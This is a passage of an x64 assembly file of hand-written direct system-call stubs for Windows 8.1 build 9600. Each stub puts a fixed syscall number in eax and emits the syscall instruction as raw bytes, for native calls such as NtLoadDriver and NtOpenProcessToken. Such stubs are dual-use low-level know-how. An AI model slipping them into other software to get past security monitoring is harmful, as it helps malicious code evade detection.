_6_3_9600_sp0_windows_8_1_NtListenPort PROC STDCALL
mov r10 , rcx
mov eax , 240
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtListenPort ENDP
; ULONG64 __stdcall NtLoadDriver( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtLoadDriver PROC STDCALL
mov r10 , rcx
mov eax , 241
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtLoadDriver ENDP
; ULONG64 __stdcall NtLoadKey( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtLoadKey PROC STDCALL
mov r10 , rcx
mov eax , 242
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtLoadKey ENDP
; ULONG64 __stdcall NtLoadKey2( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtLoadKey2 PROC STDCALL
mov r10 , rcx
mov eax , 243
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtLoadKey2 ENDP
; ULONG64 __stdcall NtLoadKeyEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_6_3_9600_sp0_windows_8_1_NtLoadKeyEx PROC STDCALL
mov r10 , rcx
mov eax , 244
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtLoadKeyEx ENDP
; ULONG64 __stdcall NtLockFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 );
_6_3_9600_sp0_windows_8_1_NtLockFile PROC STDCALL
mov r10 , rcx
mov eax , 245
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtLockFile ENDP
; ULONG64 __stdcall NtLockProductActivationKeys( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtLockProductActivationKeys PROC STDCALL
mov r10 , rcx
mov eax , 246
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtLockProductActivationKeys ENDP
; ULONG64 __stdcall NtLockRegistryKey( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtLockRegistryKey PROC STDCALL
mov r10 , rcx
mov eax , 247
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtLockRegistryKey ENDP
; ULONG64 __stdcall NtLockVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtLockVirtualMemory PROC STDCALL
mov r10 , rcx
mov eax , 248
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtLockVirtualMemory ENDP
; ULONG64 __stdcall NtMakePermanentObject( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtMakePermanentObject PROC STDCALL
mov r10 , rcx
mov eax , 249
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtMakePermanentObject ENDP
; ULONG64 __stdcall NtMakeTemporaryObject( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtMakeTemporaryObject PROC STDCALL
mov r10 , rcx
mov eax , 250
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtMakeTemporaryObject ENDP
; ULONG64 __stdcall NtMapCMFModule( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtMapCMFModule PROC STDCALL
mov r10 , rcx
mov eax , 251
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtMapCMFModule ENDP
; ULONG64 __stdcall NtMapUserPhysicalPages( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtMapUserPhysicalPages PROC STDCALL
mov r10 , rcx
mov eax , 252
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtMapUserPhysicalPages ENDP
; ULONG64 __stdcall NtModifyBootEntry( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtModifyBootEntry PROC STDCALL
mov r10 , rcx
mov eax , 253
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtModifyBootEntry ENDP
; ULONG64 __stdcall NtModifyDriverEntry( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtModifyDriverEntry PROC STDCALL
mov r10 , rcx
mov eax , 254
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtModifyDriverEntry ENDP
; ULONG64 __stdcall NtNotifyChangeDirectoryFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 );
_6_3_9600_sp0_windows_8_1_NtNotifyChangeDirectoryFile PROC STDCALL
mov r10 , rcx
mov eax , 255
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtNotifyChangeDirectoryFile ENDP
; ULONG64 __stdcall NtNotifyChangeKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 );
_6_3_9600_sp0_windows_8_1_NtNotifyChangeKey PROC STDCALL
mov r10 , rcx
mov eax , 256
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtNotifyChangeKey ENDP
; ULONG64 __stdcall NtNotifyChangeMultipleKeys( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 );
_6_3_9600_sp0_windows_8_1_NtNotifyChangeMultipleKeys PROC STDCALL
mov r10 , rcx
mov eax , 257
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtNotifyChangeMultipleKeys ENDP
; ULONG64 __stdcall NtNotifyChangeSession( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_6_3_9600_sp0_windows_8_1_NtNotifyChangeSession PROC STDCALL
mov r10 , rcx
mov eax , 258
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtNotifyChangeSession ENDP
; ULONG64 __stdcall NtOpenEnlistment( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtOpenEnlistment PROC STDCALL
mov r10 , rcx
mov eax , 259
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenEnlistment ENDP
; ULONG64 __stdcall NtOpenEventPair( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtOpenEventPair PROC STDCALL
mov r10 , rcx
mov eax , 260
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenEventPair ENDP
; ULONG64 __stdcall NtOpenIoCompletion( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtOpenIoCompletion PROC STDCALL
mov r10 , rcx
mov eax , 261
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenIoCompletion ENDP
; ULONG64 __stdcall NtOpenJobObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtOpenJobObject PROC STDCALL
mov r10 , rcx
mov eax , 262
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenJobObject ENDP
; ULONG64 __stdcall NtOpenKeyEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtOpenKeyEx PROC STDCALL
mov r10 , rcx
mov eax , 263
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenKeyEx ENDP
; ULONG64 __stdcall NtOpenKeyTransacted( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtOpenKeyTransacted PROC STDCALL
mov r10 , rcx
mov eax , 264
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenKeyTransacted ENDP
; ULONG64 __stdcall NtOpenKeyTransactedEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtOpenKeyTransactedEx PROC STDCALL
mov r10 , rcx
mov eax , 265
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenKeyTransactedEx ENDP
; ULONG64 __stdcall NtOpenKeyedEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtOpenKeyedEvent PROC STDCALL
mov r10 , rcx
mov eax , 266
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenKeyedEvent ENDP
; ULONG64 __stdcall NtOpenMutant( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtOpenMutant PROC STDCALL
mov r10 , rcx
mov eax , 267
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenMutant ENDP
; ULONG64 __stdcall NtOpenObjectAuditAlarm( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 );
_6_3_9600_sp0_windows_8_1_NtOpenObjectAuditAlarm PROC STDCALL
mov r10 , rcx
mov eax , 268
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenObjectAuditAlarm ENDP
; ULONG64 __stdcall NtOpenPrivateNamespace( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtOpenPrivateNamespace PROC STDCALL
mov r10 , rcx
mov eax , 269
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenPrivateNamespace ENDP
; ULONG64 __stdcall NtOpenProcessToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtOpenProcessToken PROC STDCALL
mov r10 , rcx
mov eax , 270
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenProcessToken ENDP
; ULONG64 __stdcall NtOpenResourceManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtOpenResourceManager PROC STDCALL
mov r10 , rcx
mov eax , 271
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenResourceManager ENDP
; ULONG64 __stdcall NtOpenSemaphore( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtOpenSemaphore PROC STDCALL
mov r10 , rcx
mov eax , 272
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenSemaphore ENDP
; ULONG64 __stdcall NtOpenSession( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtOpenSession PROC STDCALL
mov r10 , rcx
mov eax , 273
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenSession ENDP
; ULONG64 __stdcall NtOpenSymbolicLinkObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtOpenSymbolicLinkObject PROC STDCALL
mov r10 , rcx
mov eax , 274
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenSymbolicLinkObject ENDP
; ULONG64 __stdcall NtOpenThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtOpenThread PROC STDCALL
mov r10 , rcx
mov eax , 275
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenThread ENDP
; ULONG64 __stdcall NtOpenTimer( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtOpenTimer PROC STDCALL
mov r10 , rcx
mov eax , 276
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenTimer ENDP
; ULONG64 __stdcall NtOpenTransaction( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtOpenTransaction PROC STDCALL
mov r10 , rcx
mov eax , 277
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenTransaction ENDP
; ULONG64 __stdcall NtOpenTransactionManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtOpenTransactionManager PROC STDCALL
mov r10 , rcx
mov eax , 278
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenTransactionManager ENDP
; ULONG64 __stdcall NtPlugPlayControl( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtPlugPlayControl PROC STDCALL
mov r10 , rcx
mov eax , 279
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtPlugPlayControl ENDP
; ULONG64 __stdcall NtPrePrepareComplete( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtPrePrepareComplete PROC STDCALL
mov r10 , rcx
mov eax , 280
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtPrePrepareComplete ENDP
; ULONG64 __stdcall NtPrePrepareEnlistment( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtPrePrepareEnlistment PROC STDCALL
mov r10 , rcx
mov eax , 281
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtPrePrepareEnlistment ENDP
; ULONG64 __stdcall NtPrepareComplete( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtPrepareComplete PROC STDCALL
mov r10 , rcx
mov eax , 282
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtPrepareComplete ENDP
; ULONG64 __stdcall NtPrepareEnlistment( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtPrepareEnlistment PROC STDCALL
mov r10 , rcx
mov eax , 283
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtPrepareEnlistment ENDP
; ULONG64 __stdcall NtPrivilegeCheck( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtPrivilegeCheck PROC STDCALL
mov r10 , rcx
mov eax , 284
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtPrivilegeCheck ENDP
; ULONG64 __stdcall NtPrivilegeObjectAuditAlarm( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtPrivilegeObjectAuditAlarm PROC STDCALL
mov r10 , rcx
mov eax , 285
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtPrivilegeObjectAuditAlarm ENDP
; ULONG64 __stdcall NtPrivilegedServiceAuditAlarm( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtPrivilegedServiceAuditAlarm PROC STDCALL
mov r10 , rcx
mov eax , 286
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtPrivilegedServiceAuditAlarm ENDP
; ULONG64 __stdcall NtPropagationComplete( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtPropagationComplete PROC STDCALL
mov r10 , rcx
mov eax , 287
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtPropagationComplete ENDP
; ULONG64 __stdcall NtPropagationFailed( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtPropagationFailed PROC STDCALL
mov r10 , rcx
mov eax , 288
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtPropagationFailed ENDP
; ULONG64 __stdcall NtPulseEvent( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtPulseEvent PROC STDCALL
mov r10 , rcx
mov eax , 289
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtPulseEvent ENDP
; ULONG64 __stdcall NtQueryBootEntryOrder( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtQueryBootEntryOrder PROC STDCALL
mov r10 , rcx
mov eax , 290
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryBootEntryOrder ENDP
; ULONG64 __stdcall NtQueryBootOptions( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtQueryBootOptions PROC STDCALL
mov r10 , rcx
mov eax , 291
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryBootOptions ENDP
; ULONG64 __stdcall NtQueryDebugFilterState( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtQueryDebugFilterState PROC STDCALL
mov r10 , rcx
mov eax , 292
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryDebugFilterState ENDP
; ULONG64 __stdcall NtQueryDirectoryObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_6_3_9600_sp0_windows_8_1_NtQueryDirectoryObject PROC STDCALL
mov r10 , rcx
mov eax , 293
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryDirectoryObject ENDP
; ULONG64 __stdcall NtQueryDriverEntryOrder( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtQueryDriverEntryOrder PROC STDCALL
mov r10 , rcx
mov eax , 294
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryDriverEntryOrder ENDP
; ULONG64 __stdcall NtQueryEaFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 );
_6_3_9600_sp0_windows_8_1_NtQueryEaFile PROC STDCALL
mov r10 , rcx
mov eax , 295
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryEaFile ENDP
; ULONG64 __stdcall NtQueryFullAttributesFile( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtQueryFullAttributesFile PROC STDCALL
mov r10 , rcx
mov eax , 296
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryFullAttributesFile ENDP
; ULONG64 __stdcall NtQueryInformationAtom( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryInformationAtom PROC STDCALL
mov r10 , rcx
mov eax , 297
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryInformationAtom ENDP
; ULONG64 __stdcall NtQueryInformationEnlistment( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryInformationEnlistment PROC STDCALL
mov r10 , rcx
mov eax , 298
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryInformationEnlistment ENDP
; ULONG64 __stdcall NtQueryInformationJobObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryInformationJobObject PROC STDCALL
mov r10 , rcx
mov eax , 299
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryInformationJobObject ENDP
; ULONG64 __stdcall NtQueryInformationPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryInformationPort PROC STDCALL
mov r10 , rcx
mov eax , 300
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryInformationPort ENDP
; ULONG64 __stdcall NtQueryInformationResourceManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryInformationResourceManager PROC STDCALL
mov r10 , rcx
mov eax , 301
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryInformationResourceManager ENDP
; ULONG64 __stdcall NtQueryInformationTransaction( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryInformationTransaction PROC STDCALL
mov r10 , rcx
mov eax , 302
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryInformationTransaction ENDP
; ULONG64 __stdcall NtQueryInformationTransactionManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryInformationTransactionManager PROC STDCALL
mov r10 , rcx
mov eax , 303
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryInformationTransactionManager ENDP
; ULONG64 __stdcall NtQueryInformationWorkerFactory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryInformationWorkerFactory PROC STDCALL
mov r10 , rcx
mov eax , 304
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryInformationWorkerFactory ENDP
; ULONG64 __stdcall NtQueryInstallUILanguage( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtQueryInstallUILanguage PROC STDCALL
mov r10 , rcx
mov eax , 305
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryInstallUILanguage ENDP
; ULONG64 __stdcall NtQueryIntervalProfile( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtQueryIntervalProfile PROC STDCALL
mov r10 , rcx
mov eax , 306
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryIntervalProfile ENDP
; ULONG64 __stdcall NtQueryIoCompletion( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryIoCompletion PROC STDCALL
mov r10 , rcx
mov eax , 307
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryIoCompletion ENDP
; ULONG64 __stdcall NtQueryLicenseValue( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryLicenseValue PROC STDCALL
mov r10 , rcx
mov eax , 308
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryLicenseValue ENDP
; ULONG64 __stdcall NtQueryMultipleValueKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtQueryMultipleValueKey PROC STDCALL
mov r10 , rcx
mov eax , 309
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryMultipleValueKey ENDP
; ULONG64 __stdcall NtQueryMutant( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryMutant PROC STDCALL
mov r10 , rcx
mov eax , 310
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryMutant ENDP
; ULONG64 __stdcall NtQueryOpenSubKeys( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtQueryOpenSubKeys PROC STDCALL
mov r10 , rcx
mov eax , 311
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryOpenSubKeys ENDP
; ULONG64 __stdcall NtQueryOpenSubKeysEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtQueryOpenSubKeysEx PROC STDCALL
mov r10 , rcx
mov eax , 312
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryOpenSubKeysEx ENDP
; ULONG64 __stdcall NtQueryPortInformationProcess( );
_6_3_9600_sp0_windows_8_1_NtQueryPortInformationProcess PROC STDCALL
mov r10 , rcx
mov eax , 313
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryPortInformationProcess ENDP
; ULONG64 __stdcall NtQueryQuotaInformationFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 );
_6_3_9600_sp0_windows_8_1_NtQueryQuotaInformationFile PROC STDCALL
mov r10 , rcx
mov eax , 314
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryQuotaInformationFile ENDP
; ULONG64 __stdcall NtQuerySecurityAttributesToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtQuerySecurityAttributesToken PROC STDCALL
mov r10 , rcx
mov eax , 315
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQuerySecurityAttributesToken ENDP
; ULONG64 __stdcall NtQuerySecurityObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQuerySecurityObject PROC STDCALL
mov r10 , rcx
mov eax , 316
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQuerySecurityObject ENDP
; ULONG64 __stdcall NtQuerySemaphore( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQuerySemaphore PROC STDCALL
mov r10 , rcx
mov eax , 317
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQuerySemaphore ENDP
; ULONG64 __stdcall NtQuerySymbolicLinkObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtQuerySymbolicLinkObject PROC STDCALL
mov r10 , rcx
mov eax , 318
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQuerySymbolicLinkObject ENDP
; ULONG64 __stdcall NtQuerySystemEnvironmentValue( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtQuerySystemEnvironmentValue PROC STDCALL
mov r10 , rcx
mov eax , 319
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQuerySystemEnvironmentValue ENDP
; ULONG64 __stdcall NtQuerySystemEnvironmentValueEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
